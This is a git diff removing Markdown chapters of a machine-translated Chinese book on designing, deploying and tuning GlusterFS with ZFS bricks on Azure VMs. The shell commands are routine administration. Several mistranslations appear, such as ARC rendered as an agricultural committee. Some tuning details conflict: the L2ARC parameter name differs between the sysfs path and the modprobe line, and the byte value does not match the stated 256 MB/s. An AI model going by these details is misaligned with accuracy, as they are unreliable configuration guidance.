- -# 输入输出大小 - -输入/输出大小是每个操作执行的数据量。这取决于工作负载类型,因为每个应用与存储系统的交互方式不同。输入/输出大小直接影响前面提到的性能方面。 - -较小的输入/输出会导致较低的吞吐量,但是,如果速度足够快,则会导致较高的 IOPS 和较低的延迟。另一方面,更大的输入/输出提供了更高的吞吐量,但通常会产生更低的 IOPS,因为在相同的时间内完成的操作更少。 - -关于输入/输出大小,没有可靠的建议。在一个理想的、非现实的世界中,输入/输出做得足够大和足够快,这导致了高吞吐量和高 IOPS。实际上,要么是这样,要么是那样。小的输入/输出最终在吞吐量方面会很慢,但完成得足够快,以至于 IOPS 看起来更高。使用大输入/输出时,数量会反转,吞吐量会变高,但由于需要更长时间才能完成,IOPS 就会下降。 - -# GlusterFS 性能 - -在设计 GlusterFS 存储集群时,需要考虑以下方面的性能: - -* 音量类型 -* 砖块布局 -* 节点数 -* 调谐参数 - -# 音量类型 - -所选的卷以不同的方式影响性能,因为 GlusterFS 为每种类型分配的数据不同。 - -例如,复制的卷跨节点镜像数据,而分散的卷试图最大化节点利用率并并行使用它们。 - -如果性能是分散或分布式卷的主要目标,请考虑分布式卷不提供冗余,而分散卷则以性能下降为代价。 - -# 砖块布局 - -将一个节点的所有磁盘放在一个大的块中,与将磁盘用几个块以较小的数量分组的方式不同。砖块布局是对性能贡献最大的因素,因为这直接决定了磁盘的使用方式。 - -如果所有磁盘最终都放在一块砖上,性能就会受到影响。通常,用更少的磁盘拥有更多的砖块会带来更好的性能和更低的延迟。 - -考虑为组成砖块的磁盘配置软件 RAID0。例如,您可以有 10 个可用磁盘,为了简单起见,在一块砖上配置一个 RAID0 中的所有 10 个磁盘。或者,您可以选择更高效的路线,配置五块砖,其中每个砖由一个 RAID0 中的两个磁盘组成。 - -这也允许更平滑的增长,因为用更少的磁盘添加更多的砖块比添加大量磁盘要容易得多。您应该将更多的砖块和更少的磁盘放在更小的 RAID 配置中。 - -在下图中,我们可以看到每个砖块是如何由两个不同的磁盘组成的: - -![](img/35739515-9a3c-4198-a195-e9f0dcae046d.png) - -# 节点数 - -增加集群中的节点数量可以实现更高的并发性。虽然性能提升可能不是线性的,但是添加节点允许更多的用户和应用访问卷。 - -目标是有足够的节点来平衡可用空间和并发性。这里没有固定的数字,但是作为架构师,您的工作是通过测试来定义特定解决方案的正确节点数。在概念验证阶段,使用较少数量的节点进行测试,并检查性能是否可以接受。 - -# 调谐参数 - -文件系统可调参数(如块大小)可以发挥重要作用,目标是将工作负载输入/输出大小、GlusterFS 卷块大小和文件系统块大小匹配到相同的数量。 - -通常,4 K 是最常用的块大小,适用于一般工作负载。对于大量小文件,请选择较小的块大小。对于大文件,目标是更大的块大小,例如 1 M - -# 实现高可用性的最佳方法 - -使用 GlusterFS,可以通过卷配置提供高可用性;如何实现取决于应用需求、可用空间和所需性能。 - -由于 GlusterFS 处理高可用性,因此不需要在块级配置任何形式的冗余。对于云实例和虚拟机来说尤其如此,因为它们没有可能损坏的物理磁盘。对于物理安装,最好通过配置 RAID5 或 RAID6 的本地磁盘来获得额外的冗余层,以实现性能和弹性的平衡。现在,让我们继续关注云部署。 - -使用 GlusterFS,只有两种卷类型提供高可用性:复制卷和分散卷。复制卷相当简单,因为数据只是从一个节点复制到另一个节点。它们的性能较低,但配置、部署和维护却容易得多。 - -# 复制 - -当不需要极高性能时,选择复制卷。根据卷应该允许的节点或块的数量选择副本的数量。考虑使用更高的副本数量会减少可用空间量,但会增加卷的可用性。 - -以下示例显示,丢失复制卷中的节点不会中断卷操作: - -![](img/a8e4f5f4-104c-438e-b1f5-f75603c9ae7f.png) - -# 被驱散的 - -分散的卷在高可用性和性能之间提供了良好的平衡;当两者都需要时,这应该是目标卷。配置分散的卷是一个更复杂的过程,因为冗余是在 RAID5 设置中处理的,其中一个节点用作奇偶校验。冗余值可以在卷创建时选择,这允许更大的灵活性。 - -在下图中,您可以看到丢失一个节点不会中断卷: - -![](img/3c573997-afcc-40f2-bfc0-4256e9e2ed63.png) - -当有特定需求时,规划高可用性。请记住,音量类型可以混合和匹配。例如,分布式复制卷将具有可用空间和冗余的良好组合。 - -# 地理复制 - -地理复制允许通过本地网络或互联网在不同站点之间异步复制数据。这通过将数据拷贝到不同的地理位置来提供高可用性,并确保在出现故障时进行灾难恢复。 - -当存在需要增加冗余层的特定使用情形时,考虑采用地理复制路线。请记住,这是异步复制,因此,在发生灾难的情况下,请考虑前面几章中解释的 RPO 和 RTO 时间。 - -下图让您大致了解了地理复制的工作原理— **站点 A** 通过广域网复制到**站点 B** : - -![](img/527d077d-6b1c-4507-be07-2218b47b1479.png) - -# 工作负载如何定义需求 - -将视频文件传送到流式网络服务器不同于托管大型数据库。I/O 以完全不同的方式完成,准确了解工作负载与存储系统的交互方式对于成功确定规模和设计强健的存储解决方案至关重要。 - -# 文件 - -在尝试了解存储需求时,应用文档是您最好的朋友。当存在应用的现有实现时,询问管理员软件对性能的期望,以及当它不满足最低要求时如何反应。 - -# 系统工具 - -使用`iostat`等工具可以很好地理解应用如何与存储交互,例如,使用以下命令: - -```sh -iostat -dxctm 1 -``` - -前面的代码显示了每块设备的使用情况,`areq-sz`列(以前称为`avgrq-sz`)显示了以千字节为单位的平均请求大小,这是理解应用通常使用的输入/输出大小的一个很好的起点。 - -输出类似于下面的截图: - -![](img/72cbb4e3-a020-4996-be85-1b99af3b07ed.png) - -在上图中,我们可以看到块设备及其各自的性能。 - -# 文件类型和大小 - -例如,为媒体流服务器设计存储解决方案需要使用大块大小,因为媒体文件往往比小文本文件大。如果对砖块使用更大的块大小,GlusterFS 卷不仅可以更有效地利用空间,还可以进行更快的操作,因为事务大小与文件大小相匹配。 - -另一方面,通常创建大量包含文本的小文件的传感器 Logstash 服务器需要较小的块大小来匹配正在创建的文件的大小。使用较小的块大小可以避免为一个只有 1 K 大小的文件分配整个块,比如 4 K。 - -# 问正确的问题 - -作为架构师,您的目标是确保工作量非常明确。存储服务器的预期用途定义了需要分配多少资源。如果做不到这一点,可能会导致资源浪费,这反过来意味着金钱浪费,或者在最坏的情况下,可能会导致解决方案不符合规格,从而导致应用失败和用户无法工作。 - -记住从[第 1 章](01.html)、*设计方法论介绍*:问对问题。调整存储解决方案时,您可以问以下问题: - -* 当前的实现占用了多少空间(如果已经有了)? -* 应用的性能要求是什么? -* 有多少用户与应用交互? -* 是否需要高可用性? -* 应用如何存储其数据? -* 它会创建大型文件并向其中追加数据吗? -* 它会产生大量的小文件吗? - -这些问题的可能答案如下: - -* 目前,该应用消耗 20 TB,但我们预计每月会增加 5%,并稳定在 80 TB。 -* 该应用需要至少 100 MB/s 的吞吐量和不高于 10 ms 的延迟。 -* 目前,约有 300 名用户可以访问该应用;同时,我们看到了 150 个用户的峰值,但我们预计用户数量将大幅增加。 -* 我们可以忍受在一段时间内无法访问存储,但我们确实需要能够合理地快速从故障中恢复,并且可能在异地拥有一份数据拷贝。 -* 该应用主要将其信息保存在小文件中。 -* 它不追加数据,如果需要更多的空间,它只会创建更多的小文件。 -* 是的,我们已经看到创建了几千个不超过 4 KB 的文件。 - -从前面的示例中,您可以推测应用创建了许多小文件,并且它可以容忍关闭一段时间,但需要异地复制以实现平稳的灾难恢复。性能要求似乎相对较高,因此我们可以选择启用地理复制的分散或分布式卷。 - -# 摘要 - -设计存储解决方案的过程需要知道许多变量。在本章中,我们定义了决定需要多少空间取决于 GlusterFS 卷类型、应用要求和数据利用率的估计增长。 - -根据卷的类型,可用空间会受到影响,分布式卷会聚合所有可用空间,使其成为空间效率最高的卷,而复制的卷会使用一半的可用原始空间进行镜像。 - -应用和用户基础决定了需要多少空间。这是因为,根据所服务的数据类型,存储要求会发生变化。提前考虑和规划存储增长可以避免资源耗尽的可能性,并且在规模调整适合大多数情况时,至少留出 10%的缓冲空间。 - -根据性能要求,我们定义了吞吐量、延迟、IOPS 和输入/输出大小的概念,以及它们之间的交互方式。我们定义了在配置 GlusterFS 以获得最佳性能时,哪些变量起作用,每个卷如何具有其性能特征,以及在尝试优化 GlusterFS 卷时,砖块布局如何发挥重要作用。 - -我们还定义了高可用性要求如何影响规模,以及每个卷如何提供不同级别的高可用性。当需要灾难恢复时,GlusterFS 地理复制通过将数据复制到另一个物理区域来增加所需的可用性级别,这允许在发生灾难时顺利恢复服务。 - -最后,我们介绍了工作负载如何定义解决方案的设计方式,以及如何使用工具来验证应用与存储的交互方式,从而实现存储集群的正确配置。我们还发现了文件类型和大小如何定义性能行为和空间利用率,以及问正确的问题如何更好地理解工作负载,从而产生更高效和优化的解决方案。 - -主要的要点是总是询问应用和工作负载如何与其资源交互。这允许最有效的设计。 - -在下一章中,我们将讨论 GlusterFS 所需的实际配置。 - -# 问题 - -1. GlusterFS 的计算要求是什么? -2. GlusterFS 如何使用 RAM? -3. 什么是缓存? -4. 并发性如何影响 CPU 规模? -5. GlusterFS 卷如何影响可用空间? -6. 应用需要多少空间? -7. 预计增长是多少? -8. 吞吐量、延迟 IOPS 和输入/输出大小是多少? -9. 什么是砖布局? -10. 什么是地理复制? - -# 进一步阅读 - -* *Anuj Kumar 设计数据密集型应用* -* *微软 Azure 存储精粹*由 Chukri Soueidi 提供 -* *建筑师的蔚蓝*作者:里提什·莫迪 \ No newline at end of file diff --git a/docs/handson-linux-arch/04.md b/docs/handson-linux-arch/04.md deleted file mode 100644 index 147dc9e4..00000000 --- a/docs/handson-linux-arch/04.md +++ /dev/null @@ -1,389 +0,0 @@ -# 四、在云基础设施上使用 GlusterFS - -在很好地理解了 GlusterFS 的核心概念后,我们现在可以深入了解存储集群的安装、配置和优化。 - -在这个例子中,我们将使用 Azure 作为云提供商,在三节点集群上安装 GlusterFS。然而,这些概念也可以应用于其他云提供商。 - -在本章中,我们将涵盖以下主题: - -* 配置 GlusterFS 后端存储 -* 安装和配置 GlusterFS -* 设置卷 -* 优化性能 - -# 技术要求 - -这是本章的技术资源列表: - -* Azure **虚拟机** ( **VM** )详细视图大小: - [https://docs . Microsoft . com/en-us/Azure/virtual-machines/Linux/size-storage](https://docs.microsoft.com/en-us/azure/virtual-machines/linux/sizes-storage) -* Azure 磁盘大小和类型的详细视图: - [https://Azure . Microsoft . com/en-us/pricing/details/managed-disks/](https://azure.microsoft.com/en-us/pricing/details/managed-disks/) -* Linux 上的 ZFS 项目主页: - [https://github.com/zfsonlinux/zfs/wiki/RHEL-and-CentOS](https://github.com/zfsonlinux/zfs/wiki/RHEL-and-CentOS) -* glusterfs 安装指南 for centos:[https://wiki . centos . org/how tos/glutefsonces](https://wiki.centos.org/HowTos/GlusterFSonCentOS) -* Gluster 网站上的 GlusterFS 快速入门指南: - [https://docs . Gluster . org/en/latest/快速入门指南/Quickstart/](https://docs.gluster.org/en/latest/Quick-Start-Guide/Quickstart/) -* GlusterFS 在管理员指南上设置卷: - [https://docs . gluster . org/en/latest/Administrator % 20 guide/Setting % 20 up % 20 volumes/](https://docs.gluster.org/en/latest/Administrator%20Guide/Setting%20Up%20Volumes/) -* GlusterFS 调整卷以获得更好的性能: - [https://docs . gluster . org/en/latest/Administrator % 20 guide/management % 20 volumes/#调整选项](https://docs.gluster.org/en/latest/Administrator%20Guide/Managing%20Volumes/#tuning-options) - -# 设置用于后端存储的砖块 - -以下是我们将使用的组件列表: - -* Azure L4s 虚拟机,具有 4vCPUs 和 32 GB 内存 -* 每个虚拟机四个 S10 128 GB 磁盘 -* CentOS 7.5 -* Linux 上的 ZFS 作为砖块的文件系统 -* 包含四个磁盘的单个 RAID 0 组 -* GlusterFS 4.1 - -# Azure 部署 - -在详细介绍如何配置砖块之前,我们首先需要在 Azure 中部署节点。在本例中,我们使用的是存储优化虚拟机系列或 L 系列。值得一提的是,Azure 有一个 30 天的免费试用,可以在提交任何部署之前用于测试。 - -在 Azure 中,性能是在几个级别上定义的。第一个级别是虚拟机限制,这是虚拟机允许的最大性能。L 系列提供了性价比的正确平衡,因为这些虚拟机经过优化,可提供更高的每秒输入/输出操作数和吞吐量,而不是提供高计算或内存资源。定义性能的第二个级别是通过连接到虚拟机的磁盘。对于本例,我们将使用标准的**硬盘驱动器** ( **硬盘驱动器**)来获得经济高效的解决方案。如果需要更高的性能,磁盘总是可以迁移到高级**固态硬盘** ( **固态硬盘**)存储。 - -本例中的确切虚拟机大小将是 L4s,它提供四个虚拟内存单元和 32 GB 的内存,对于一般用途的小型存储集群来说足够了。最高 125 兆字节/秒和 5k IOPS,正确配置后仍能保持可观的性能。 - -A new generation of storage optimized VMs has been recently released, offering a locally-accessible NVMe SSD of 2 TB. Additionally, it provides increased core count and memory, making these new VMs ideal for a GlusterFS setup with **Z file system** (**ZFS**). The new L8s_v2 VM can be used for this specific setup, and the sizes and specifications can be seen on the product page ([https://docs.microsoft.com/en-us/azure/virtual-machines/linux/sizes-storage#lsv2-series](https://docs.microsoft.com/en-us/azure/virtual-machines/linux/sizes-storage#lsv2-series)). - -以下屏幕截图显示了可用性集、当前故障域和当前更新域设置: - -![](img/8b322180-550e-4559-ba84-4edffa7ad8cd.png) - -When deploying a GlusterFS setup in Azure, make sure that each node lands on a different update and fault domain. This is done through the use of availability sets (refer to the preceding screenshot). Doing so ensures that if the platform restarts a node, the others remain up and serving data. - -最后,对于 Azure 设置,我们每个节点需要 **512 GB** ,总共需要 1.5 TB 的原始空间,即 1 TB 的可用空间。实现这一目标的最具成本效益的方法是使用单个 **S20 512 GB** 磁盘,因为每个月每千兆字节的价格大约为 **$0.04** 。沿着单个磁盘的路线前进会影响性能,因为单个标准磁盘最多只能提供 500 IOPS 和 60 兆字节/秒。考虑到性能并接受我们将在成本部门损失一点效率的事实,我们将在单个 RAID0 组中使用四个 **S10 128** GB 磁盘。一张 **S10** 盘的每月每千兆字节价格为 **$0.05** ,而一张 **S20** 盘的每月价格为 **$0.04** 。您可以参考下表,其中计算是基于被管理磁盘的成本除以其各自的大小进行的: - -![](img/4bf1ef53-b1a8-4381-8d20-0db862ac1bc6.png) - -Make sure that all three nodes are deployed on the same region and the same resource group for consistency. - -# ZFS 是砖块的后台 - -我们在第 3 章“设计存储集群”中谈到了 ZFS。ZFS 是由太阳微系统公司开发的文件系统,后来被甲骨文公司收购。该项目后来成为开源项目,并被移植到 Linux。尽管该项目仍处于测试阶段,但大部分功能运行良好,大部分问题已被排除——该项目现在专注于添加新功能。 - -ZFS 是一个软件层,集磁盘管理、逻辑卷和文件系统于一体。压缩、**自适应替换缓存** ( **ARC** )、重复数据消除和快照等高级功能使其非常适合与作为砖块后端的 GlusterFS 一起工作。 - -# 安装 ZFS - -让我们从安装 ZFS 开始;有一些依赖项,比如**动态内核模块** ( **DKMS** ),存在于 EPEL 存储库中。 - -Note that most of the commands that run here are assumed to be running as root; the commands can be run as the non-root account by prefacing `sudo` before each. - -要安装所需的组件,我们可以使用以下命令: - -```sh -yum install -y epel-release -yum install -y http://download.zfsonlinux.org/epel/zfs-release.el7_5.noarch.rpm -``` - -接下来,我们将使用以下命令: - -```sh -yum install -y zfs -``` - -以下命令用于启用 ZFS 组件: - -```sh -systemctl enable zfs.target -systemctl enable --now zfs-import-scan.service -``` - -# 配置 zpools - -安装并启用 ZFS 后,我们现在可以创建 zpools 了。Zpool 是在 ZFS 创建的卷的名称。 - -由于我们将使用由四个磁盘组成的单个 RAID 0 组,因此我们可以创建一个名为`brick1`的 zpool 这需要在所有三个节点上完成。另外,让我们创建一个名为`bricks`的目录,它位于根目录(`/`)下;该目录将砖块存放在一个名为砖块的目录下。执行此操作所需的命令如下: - -```sh -mkdir -p /bricks/brick1 -``` - -这将创建目录树,如下所示: - -```sh -zpool create brick1 /dev/disk/by-id/scsi-360022480f0da979b536cde32a4a17406 \ - /dev/disk/by-id/scsi-360022480fb9d18bbdfb9175fd3e0bbf2 \ -/dev/disk/by-id/scsi-360022480fb9d18bbdfb9175fd3e0bae4 \ -/dev/disk/by-id/scsi-360022480fb9d18bbdfb9175fd3e049f2 -``` - -为了进一步解释该命令,`brick1`是 zpool 的名称。然后,我们指出磁盘的路径。在本例中,我们使用磁盘的标识,因为这样可以避免磁盘更改顺序时出现问题。虽然不同顺序的磁盘不会影响 ZFS,但最好使用永不更改的 id 来避免问题。 - -ZFS can use the entire disk because it creates the required partitions automatically. - -创建`zpool`实例后,我们可以使用`zpool status`命令检查它是否正确完成: - -![](img/c86f5d0e-9ca7-4f0d-ad2c-804cbee4ff84.png) - -让我们启用压缩并将池的装载点更改为以前创建的目录。为此,请运行以下命令: - -```sh -zfs set compression=lz4 brick1 -``` - -您还需要运行以下命令: - -```sh -zfs set mountpoint=/bricks/brick1 brick1 -``` - -第一个命令使用`lz4`算法启用压缩,该算法的 CPU 开销较低。第二个命令更改 zpool 的装载点。请确保在更改设置时使用正确的池名称。 - -这样做之后,我们应该将 ZFS 卷安装在`/bricks/brick1`下,如`df`命令所示: - -![](img/f8102aba-efc0-42ba-95a7-62420a947695.png) - -我们需要在最近添加的挂载点上创建一个目录,用作砖块;共识是使用卷名。在这种情况下,我们将命名卷`gvol1`,并简单地创建目录: - -```sh -mkdir -p /bricks/brick1/gvol1 -``` - -这需要在所有节点上完成。 - -# 将 ZFS 缓存添加到池中(可选) - -使用 Azure,每个虚拟机都有一个临时资源驱动器。这个临时资源驱动器的性能远远高于添加到其中的数据磁盘。该驱动器是短暂的,这意味着一旦虚拟机解除分配,数据就会被擦除;作为读缓存驱动器,这应该非常有效,因为不需要在重新启动时持续保存数据。 - -由于驱动器在每个`stop/deallocate/start`周期都会被擦除,我们需要对 ZFS 的单元文件进行一些调整,以便在每次重启时添加磁盘。驱动器将始终是`/dev/sdb`,由于不需要在其上创建分区,我们可以简单地告诉 ZFS 在每次系统启动时将其添加为新磁盘。 - -这可以通过编辑位于`/usr/lib/systemd/system/zfs-mount.service`下的`zfs-mount.service`的`systemd`单位来实现。这种方法的问题在于,ZFS 更新将覆盖对前面单元所做的更改。这个问题的一个解决方案是运行`sudo systemctl edit zfs-mount`并添加以下代码: - -```sh -[Service] -ExecStart=/sbin/zpool remove brick1 /dev/sdb -ExecStart=/sbin/zpool add brick1 cache /dev/sdb -``` - -要应用更改,请运行以下命令: - -```sh -systemctl daemon-reload -``` - -现在,我们已经确保了每次重新启动后都会添加缓存驱动器,我们需要使用运行在 Azure 虚拟机上的 Linux 代理来更改特定于 Azure 的配置。这个代理负责创建临时资源驱动器,由于我们将它用于其他目的,我们需要告诉代理不要创建临时磁盘。为了实现这一点,我们需要编辑位于`/etc/waagent.conf`的文件,并寻找以下行: - -```sh -ResourceDisk.Format=y -``` - -然后,您需要将其更改为以下行: - -```sh -ResourceDisk.Format=n -``` - -完成此操作后,我们可以通过运行以下命令将缓存驱动器添加到池中: - -```sh -zpool add brick1 cache /dev/sdb -f -``` - -`-f`选项只能在第一次使用,因为它会删除之前创建的文件系统。请注意,虚拟机的`stop/deallocate/start`周期需要停止代理格式化资源磁盘,因为默认情况下它会获得一个`ext4`文件系统。 - -The previous process can also be applied to the newer Ls_v2 VMs, which use the much faster NVMe drives, such as the L8s_v2; simply replace `/dev /sdb` with `/dev/nvme0n1`. - -您可以验证缓存磁盘是否已按如下方式添加: - -![](img/abbd1b75-a9b2-4338-92ea-3291dfa89a29.png) - -由于我们将使用单个 RAID 组,这将用作整个块的读缓存,从而在读取 GlusterFS 卷的文件时获得更好的性能。 - -# 在节点上安装 GlusterFS - -每个节点都已经配置了砖块,我们终于可以安装 GlusterFS 了。安装相对简单,只需要几个命令。 - -# 安装软件包 - -我们将使用 CentOS 提供的软件包。要安装 GlusterFS,我们首先按如下方式安装存储库: - -```sh -yum install -y centos-release-gluster41 -``` - -然后,我们安装`glusterfs-server`包: - -```sh -yum install -y glusterfs-server -``` - -然后,我们确保`glusterd`服务已启用并启动: - -![](img/c41c81ee-4ef5-449c-8fe0-53dbf9fc8167.png) - -这些命令需要在将成为集群一部分的每个节点上运行;这是因为每个节点都需要启用包和服务。 - -# 创建受信任的池 - -最后,我们需要创建一个受信任的池。可信池是将成为集群一部分的节点列表,其中每个 Gluster 节点都信任另一个节点,从而允许创建卷。 - -要创建受信任的池,请从第一个节点运行以下代码: - -```sh -gluster peer probe gfs2 -gluster peer probe gfs3 -``` - -您可以验证节点显示如下: - -![](img/469305e9-615d-45a6-9031-742db5231517.png) - -该命令可以从任何节点运行,并且需要修改主机名或 IP 地址以包括其他节点。在这种情况下,我已经将每个节点的 IP 地址添加到`/etc/hosts`文件中,以便于配置。理想情况下,主机名应该向 DNS 服务器注册,以便在网络中进行名称解析。 - -安装后,`gluster`节点应允许创建卷。 - -# 创建卷 - -我们现在已经到了可以创建卷的地步;这是因为我们已经为 GlusterFS 配置了砖块和必要的包。 - -# 创建分散的卷 - -我们将在三个节点上使用分散的卷类型,从而实现高可用性和性能的良好平衡。所有节点的原始空间总和将在 1.5 TB 左右;但是,分布式卷将有大约 1 TB 的可用空间。 - -要创建分散的卷,请使用以下代码: - -```sh -gluster volume create gvol1 disperse 3 gfs{1..3}:/bricks/brick1/gvol1 -``` - -然后,使用以下代码启动卷: - -```sh -gluster volume start gvol1 -``` - -使用以下代码确保它正确启动: - -```sh -gluster volume status gvol1 -``` - -现在音量应该显示如下: - -![](img/a87c65a6-747f-4151-92ce-23dc2caf1991.png) - -# 安装卷 - -卷现在已创建,可以装载到客户端上;实现这一点的首选方法是使用本机`glusterfs-fuse`客户端,该客户端允许在其中一个节点出现故障时自动进行故障转移。 - -要安装`gluster-fuse`客户端,请使用以下代码: - -```sh -yum install -y glusterfs-fuse -``` - -然后,让我们在根目录下创建一个名为`gvol1`的目录: - -```sh -mkdir /gvol1 -``` - -最后,我们可以在客户机上挂载 GlusterFS 卷,如下所示: - -```sh -mount -t glusterfs gfs1:/gvol1 /gvol1 -``` - -您指定哪个节点并不重要,因为可以从其中任何一个节点访问该卷。如果其中一个节点出现故障,客户端会自动将输入/输出请求重定向到其余节点。 - -# 优化性能 - -随着卷的创建和装载,我们可以调整一些参数来获得最佳性能。性能调优主要可以在文件系统级别(在本例中是 ZFS)和 GlusterFS 卷级别完成。 - -# GlusterFS 调优 - -这里主要变量是`performance.cache-size`。此设置指定要分配给 GlusterFS 卷作为读缓存的内存量。默认情况下,它被设置为 32 MB,这相当低。假设所选虚拟机有足够的内存,可以使用以下命令将其提升到 4 GB: - -```sh -gluster volume set gvol1 performance.cache-size 4GB -``` - -一旦集群开始增长,另一个基本参数是`performance.io-thread-count`。这控制卷产生多少输入/输出线程。默认为`16`线程,对于中小型集群足够了。但是,一旦集群规模开始增长,这一数字可能会翻倍。要更改设置,请使用以下命令: - -```sh -gluster volume set gvol1 performance.io-thread-count 16 -``` - -应该测试此设置,以检查增加计数是否会提高性能。 - -# ZFS - -我们将主要更改两个设置:ARC 和 L2ARC 馈送性能。 - -# 农业研究委员会 - -ZFS 的主要设置是其读缓存,称为 ARC。允许将更多内存分配给 ZFS 大大提高了读取性能。由于我们已经为 Gluster 卷读缓存分配了 4 GB,并且虚拟机有 32 GB 可用,因此我们可以为 ZFS 分配 26 GB 的内存,这将为操作系统留出大约 2 GB 的空间。 - -要更改 ARC 允许的最大大小,请使用以下代码: - -```sh -echo 27917287424 > /sys/module/zfs/parameters/zfs_arc_max -``` - -这里,数字是以字节为单位的内存量,在本例中是 26 GB。这样做可以动态更改设置,但不会使其持久启动。要在启动时应用设置,请创建一个名为`/etc/modprobe.d/zfs.conf`的文件,并添加以下值: - -```sh -options zfs zfs_arc_max=27917287424 -``` - -通过这样做,您可以使更改在整个引导中持续存在。 - -# L2 弧 - -L2ARC 指的是二级读缓存;这是以前添加到 zpools 的缓存磁盘。更改数据馈送到缓存的速度有助于减少不断访问的文件预热或填满缓存所需的时间。该设置以每秒字节数指定。要更改它,您可以使用以下命令: - -```sh -echo 2621440000 > /sys/module/zfs/parameters/l2arc_max_write -``` - -与前面的设置一样,这适用于正在运行的内核。要使其具有引导持久性,请在`/etc/modprobe.d/zfs.conf`文件中添加以下行: - -```sh -options zfs l2arc_write_max=2621440000 -``` - -该设置允许最大 256 兆字节/秒的 L2ARC 馈送;如果虚拟机大小更改为更高的层,则该设置应至少增加一倍。 - -最后,您应该在每个节点上都有一个文件,如下所示: - -![](img/a1e838b2-e494-45bf-a92e-b0fa4e54513d.png) - -关于 ZFS,在其他类型的文件系统上,更改数据块大小有助于获得一些性能。ZFS 有一个可变的块大小,允许小文件和大文件达到类似的结果,所以没有必要改变这个设置。 - -# 摘要 - -在安装了 ZFS、创建了 zpools、安装了 GlusterFS 并创建了卷之后,我们最终得到了一个性能相当不错的解决方案,它可以承受节点故障,并且仍然可以向其客户端提供数据。 - -对于设置,我们使用 Azure 作为云提供商。虽然每个提供商都有自己的一套配置挑战,但核心概念也可以用于其他云提供商。 - -然而,这种设计有一个缺点。向 zpools 添加新磁盘时,条带不会对齐,从而导致新的读写产生较低的性能。这个问题可以通过一次添加一整套磁盘来避免;较低的读取性能主要由 RAM 上的读取缓存(ARC)和缓存磁盘(L2ARC)覆盖。 - -对于 GlusterFS,我们使用了分散的布局,平衡了性能和高可用性。在这种三节点集群设置中,我们可以在不阻止客户端输入/输出的情况下承受节点故障。 - -最重要的是在设计解决方案时要有批判性思维。在这个例子中,我们利用现有的资源来实现一个符合规范的配置,并利用我们提供的资源。确保你总是问自己这个设置将如何影响结果,以及如何改变它以提高效率。 - -在下一章中,我们将测试和验证设置的性能。 - -# 问题 - -* 什么是 GlusterFS 砖? -* 什么是 ZFS? -* 什么是 zpool? -* 什么是缓存磁盘? -* GlusterFS 是如何安装的? -* 什么是可信池? -* 如何创建 GlusterFS 卷? -* 什么是性能缓存大小? -* 什么是艺术 - -# 进一步阅读 - -* *学习微软 Azure* 作者:Geoff Webber-Cross:[https://www . packtpub . com/networking-and-server/Learning-Microsoft-Azure](https://www.packtpub.com/networking-and-servers/learning-microsoft-azure) -* *实施 Azure 解决方案*由 Florian Klaffenbach、Jan-Henrik damashke 和 Oliver Michalski:[https://www . packtpub . com/虚拟化和云/实施-azure 解决方案](https://www.packtpub.com/virtualization-and-cloud/implementing-azure-solutions) -* *建筑师的 Azure*作者:Ritesh Modi:[https://www . packtpub . com/虚拟化与云/azure-architects](https://www.packtpub.com/virtualization-and-cloud/azure-architects) \ No newline at end of file diff --git a/docs/handson-linux-arch/05.md b/docs/handson-linux-arch/05.md deleted file mode 100644 index d1779f97..00000000 --- a/docs/handson-linux-arch/05.md +++ /dev/null @@ -1,237 +0,0 @@ -# 五、Gluster 系统中的性能分析 - -在[第 4 章](04.html)、*在云基础设施*上使用 GlusterFS,我们已经完成了 GlusterFS 的工作实现,我们可以专注于解决方案的测试方面。我们将从高层次概述部署的内容,并解释所选组件背后的原因。 - -一旦定义了配置,我们就可以通过测试性能来验证我们是否达到了预期的结果。然后,我们可以通过在执行输入/输出时故意关闭节点来进行可用性测试 - -最后,我们将了解如何纵向和横向扩展解决方案。 - -在本章中,我们将涵盖以下主题: - -* 实施的高级概述 -* 进行性能测试 -* 性能可用性测试 -* 垂直和水平缩放解决方案 - -# 技术要求 - -这是本章的技术资源列表: - -* z pool IOs tat—用于 ZFS 的性能监控:[https://docs . Oracle . com/CD/e 19253-01/819-5461/gammt/index . html](https://docs.oracle.com/cd/E19253-01/819-5461/gammt/index.html) -* sysstat—用于实时数据块性能统计:[https://github.com/sysstat/sysstat](https://github.com/sysstat/sysstat) -* 包含命令不同选项的 iostat 手册页:[http://Sebastien . godard . pagesperso-orange . fr/man _ iostat . html](http://sebastien.godard.pagesperso-orange.fr/man_iostat.html) -* 提供配置参数和用法的 FIO 文档:[https://media.readthedocs.org/pdf/fio/latest/fio.pdf](https://media.readthedocs.org/pdf/fio/latest/fio.pdf) -* 关于如何查看统计信息的 GlusterFS 监控工作负载文档:[https://gluster . readd docs . io/en/latest/Administrator % 20 guide/Monitoring % 20 workload/](https://gluster.readthedocs.io/en/latest/Administrator%20Guide/Monitoring%20Workload/) - -# 实施概述 - -在 [第 4 章](04.html)*中部署并配置了解决方案后,在云基础架构*上使用 GlusterFS,我们可以验证实施的性能。主要目标是了解如何做到这一点以及可用的工具。 - -让我们先退一步,看看我们实现了什么。 - -# 集群概述 - -在[第 4 章](04.html)、*在云基础设施*上使用 GlusterFS,我们在 Azure **虚拟机** ( **VM** 上部署了 GlusterFS 4.1 版本。我们使用 ZFS 作为砖块的存储后端,在三节点设置中每个节点使用四个磁盘。下图从高层次概述了这是如何分布的: - -![](img/3ac944da-0715-4ecc-a291-82eb52a1d9bb.png) - -此设置提供 1 TB 的可用空间。该卷可以容忍整个节点宕机,同时仍向客户端提供数据。 - -这种设置应该能够提供大约每秒 375 **兆字节** ( **兆字节/秒**),一次处理几百个客户端,并且应该相当简单地进行水平和垂直扩展。 - -# 性能试验 - -我们现在需要验证理论性能可以通过实际实现来实现。让我们把它分成几个部分。 - -# 绩效理论 - -让我们根据设置的规格来确定应该获得多少性能。考虑每个节点应该提供最大 125 兆字节/秒的速度。磁盘子系统能够提供更高的性能,因为每个磁盘产生 60 兆字节/秒的速度 - -假设一个或多个客户端可以通过向卷发送或请求足够的数据来跟上速度,则总的可实现性能应该在 375 MB/s 左右。 - -# 性能工具 - -我们将使用三种主要工具来验证和测试解决方案的性能: - -* `zpool iostat` -* `iostat` -* **柔性 I/O 测试仪** ( **导线** - -这些工具中的每一个都在不同的级别上工作。现在让我们详细说明每个人都做了什么,以及如何理解他们提供的信息。 - -# ZFS·兹普尔·约斯塔特司令部 - -ZFS 在后端卷级别工作;`zpool iostat -v`命令给出 ZFS 卷中每个成员的性能统计数据以及整个 ZFS 卷的统计数据。 - -该命令可以通过传递一个数字来提供实时数据,该数字以秒为单位,它将在该时间段过去后进行迭代。例如,`zpool iostat -v 1`每秒报告磁盘统计数据。这里,`-v`选项显示了池中的每个成员及其各自的数据。 - 